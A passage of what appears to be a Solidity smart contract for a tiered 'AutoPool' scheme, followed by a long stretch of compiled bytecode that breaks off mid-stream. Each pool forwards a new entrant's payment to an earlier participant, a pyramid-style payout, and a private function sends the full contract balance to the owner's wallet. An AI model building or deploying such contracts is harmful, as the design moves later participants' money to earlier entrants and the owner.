pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable {
require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=3)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool7users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool7_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool8users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool8_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool9users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool9_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool10users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool10_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(getEthBalance()))
{
}
}
}
|
0x60806040526004361061038c5760003560e01c806380085ec4116101dc578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac56146112a4578063e687ecac146112cf578063ed3bb9fa14611346578063eecbdd94146113505761038c565b8063db7242bd14611179578063dd5d3e30146111f4578063dea9095a1461126f578063e35fc7e21461129a5761038c565b8063bdbefbf6116100dc578063bdbefbf61461109e578063c3285de6146110c9578063c5d8444d146110d3578063c6d79e9d146110fe5761038c565b8063a565a5b61461100c578063a87430ba14611016578063ae01d264146110945761038c565b80638853b53e1161017a5780639f01c016116101495780639f01c01614610ec45780639f4216e814610eef5780639f9a2b0e14610f6a578063a4bb170d14610fe15761038c565b80638853b53e14610de95780639335dcb714610e175780639561302a14610e6e578063956c9ebf14610e995761038c565b806384abfa37116101b657806384abfa3714610ca557806384d82db814610d1c578063851f31c614610d47578063878b255d14610dbe5761038c565b806380085ec414610b4b578063805b495414610bc257806381d12c5814610c3d5761038c565b806350264b55116102c15780636e2fb91d1161025f57806379378e301161022e57806379378e3014610a2b5780637aa6e6dc14610a7a5780637ff135cd14610aa55780637ff5c45014610b205761038c565b80636e2fb91d1461090857806370047eeb1461097f57806370ed0ada1461098957806378dffea7146109b45761038c565b806360fbf1221161029b57806360fbf122146108315780636254a0ef146108a8578063673f554b146108b2578063699ad07e146108dd5761038c565b806350264b55146107605780635761a7ae146107db5780635a1cb2cd146108065761038c565b806338f2f4461161032e5780634147cde8116103085780634147cde814610685578063435ea130146106b0578063460c3c071461072b578063461aa478146107565761038c565b806338f2f446146105d957806338fc99bd146106505780633bddc9511461065a5761038c565b806309fd01ba1161036a57806309fd01ba1461043d5780630c851e3c146104b8578063282e06761461053357806336509f77146105ae5761038c565b806301073bf514610391578063080f775f1461039b57806309ea330a146103c6575b600080fd5b61039961137b565b005b3480156103a757600080fd5b506103b0611875565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b50610415600480360360208110156103e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b34801561044957600080fd5b506104766004803603602081101561046057600080fd5b81019080803590602001909291905050506118b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c457600080fd5b506104f1600480360360208110156104db57600080fd5b81019080803590602001909291905050506118e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053f57600080fd5b5061056c6004803603602081101561055657600080fd5b8101908080359060200190929190505050611918565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ba57600080fd5b506105c361194b565b6040518082815260200191505060405180910390f35b3480156105e557600080fd5b50610628600480360360208110156105fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611951565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610658611988565b005b34801561066657600080fd5b5061066f611f3b565b6040518082815260200191505060405180910390f35b34801561069157600080fd5b5061069a611f41565b6040518082815260200191505060405180910390f35b3480156106bc57600080fd5b506106e9600480360360208110156106d357600080fd5b8101908080359060200190929190505050611f47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073757600080fd5b50610740611f79565b6040518082815260200191505060405180910390f35b61075e611f7f565b005b34801561076c57600080fd5b506107996004803603602081101561078357600080fd5b8101908080359060200190929190505050612532565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e757600080fd5b506107f0612565565b6040518082815260200191505060405180910390f35b34801561081257600080fd5b5061081b61256b565b6040518082815260200191505060405180910390f35b34801561083d57600080fd5b506108806004803603602081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612571565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b6108b06125a8565b005b3480156108be57600080fd5b506108c7612b5b565b6040518082815260200191505060405180910390f35b3480156108e957600080fd5b506108f2612b61565b6040518082815260200191505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b67565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610987612b9e565b005b34801561099557600080fd5b5061099e613151565b6040518082815260200191505060405180910390f35b3480156109c057600080fd5b50610a03600480360360208110156109d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613159565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610a3757600080fd5b50610a6460048036036020811015610a4e57600080fd5b8101908080359060200190929190505050613190565b6040518082815260200191505060405180910390f35b348015610a8657600080fd5b50610a8f6131a8565b6040518082815260200191505060405180910390f35b348015610ab157600080fd5b50610ade60048036036020811015610ac857600080fd5b81019080803590602001909291905050506131ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2c57600080fd5b50610b356131e1565b6040518082815260200191505060405180910390f35b348015610b5757600080fd5b50610b9a60048036036020811015610b6e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131e7565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610bce57600080fd5b50610bfb60048036036020811015610be557600080fd5b810190808035906020019092919050505061321e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4957600080fd5b50610c7660048036036020811015610c6057600080fd5b8101908080359060200190929190505050613251565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610cb157600080fd5b50610cf460048036036020811015610cc857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061329b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610d2857600080fd5b50610d316132d2565b6040518082815260200191505060405180910390f35b348015610d5357600080fd5b50610d9660048036036020811015610d6a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132d8565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610dca57600080fd5b50610dd361330f565b6040518082815260200191505060405180910390f35b610e1560048036036020811015610dff57600080fd5b8101908080359060200190929190505050613315565b005b348015610e2357600080fd5b50610e2c613808565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e7a57600080fd5b50610e8361382d565b6040518082815260200191505060405180910390f35b348015610ea557600080fd5b50610eae613833565b6040518082815260200191505060405180910390f35b348015610ed057600080fd5b50610ed9613839565b6040518082815260200191505060405180910390f35b348015610efb57600080fd5b50610f2860048036036020811015610f1257600080fd5b810190808035906020019092919050505061383f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f7657600080fd5b50610fb960048036036020811015610f8d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613872565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610fed57600080fd5b50610ff66138a9565b6040518082815260200191505060405180910390f35b6110146138af565b005b34801561102257600080fd5b506110656004803603602081101561103957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613e62565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b61109c613e9f565b005b3480156110aa57600080fd5b506110b3614390565b6040518082815260200191505060405180910390f35b6110d1614396565b005b3480156110df57600080fd5b506110e8614949565b6040518082815260200191505060405180910390f35b34801561110a57600080fd5b506111376004803603602081101561112157600080fd5b810190808035906020019092919050505061494f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561118557600080fd5b506111b26004803603602081101561119c57600080fd5b8101908080359060200190929190505050614982565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561120057600080fd5b5061122d6004803603602081101561121757600080fd5b81019080803590602001909291905050506149b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561127b57600080fd5b506112846149e8565b6040518082815260200191505060405180910390f35b6112a26149ee565b005b3480156112b057600080fd5b506112b9614fa1565b6040518082815260200191505060405180910390f35b3480156112db57600080fd5b5061131e600480360360208110156112f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614fa7565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b61134e614fde565b005b34801561135c57600080fd5b50611365615591565b6040518082815260200191505060405180910390f35b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661143d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b602f543414611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b61157f6157da565b6000601a6000600c54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600260008154809291906001019190505550604051806060016040528060011515815260200160025481526020016000815250915081601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc602f549081150290604051600060405180830381858888f1935050505090508015611819576001601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506002601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106117aa576001600c600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600142604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600142604051808381526020018281526020019250505060405180910390a2505050565b60065481565b60216020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60286020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60196020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611b0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6032543414611b84576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015611c3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b611c456157da565b600060206000600f54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600560008154809291906001019190505550604051806060016040528060011515815260200160055481526020016000815250915081601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360206000600554815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6032549081150290604051600060405180830381858888f1935050505090508015611edf576001601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410611e70576001600f600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600442604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600442604051808381526020018281526020019250505060405180910390a2505050565b60105481565b600a5481565b602080528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612041576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b603554341461217b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015612234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61223c6157da565b600060266000601254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600860008154809291906001019190505550604051806060016040528060011515815260200160085481526020016000815250915081602560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360266000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6035549081150290604051600060405180830381858888f19350505050905080156124d6576001602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106124675760016012600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600742604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600742604051808381526020018281526020019250505060405180910390a2505050565b602a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600f5481565b60296020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661266a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561272d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60305434146127a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101561285d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b6128656157da565b6000601c6000600d54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008154809291906001019190505550604051806060016040528060011515815260200160035481526020016000815250915081601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601c6000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6030549081150290604051600060405180830381858888f1935050505090508015612aff576001601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410612a90576001600d600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600242604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600242604051808381526020018281526020019250505060405180910390a2505050565b60085481565b600b5481565b60236020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612c60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6036543414612d9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015612e53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b612e5b6157da565b600060286000601354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008154809291906001019190505550604051806060016040528060011515815260200160095481526020016000815250915081602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360286000600954815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6036549081150290604051600060405180830381858888f19350505050905080156130f5576001602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106130865760016013600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600842604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600842604051808381526020018281526020019250505060405180910390a2505050565b600047905090565b601d6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b602d6020528060005260406000206000915090505481565b60165481565b601c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b601f6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6039818154811061325e57fe5b90600052602060002090600502016000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b601b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60095481565b60256020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60145481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16156133d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f557365722045786973747300000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000811180156133ea57506001548111155b61345c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e636f727265637420726566657272616c204944000000000000000000000081525060200191505060405180910390fd5b602e5434146134d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6134db6157fd565b600160008154809291906001019190505550604051806080016040528060011515815260200160015481526020018381526020016000815250905080601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301559050503360186000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016017600060186000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154016017600060186000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061376c600133615597565b6018600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f788c06d2405ae89dd3f0528d38be7691289474d72176408bc2c2406dc5e342f1426040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60155481565b60055481565b60186020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60276020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60015481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16613971576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615613a34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602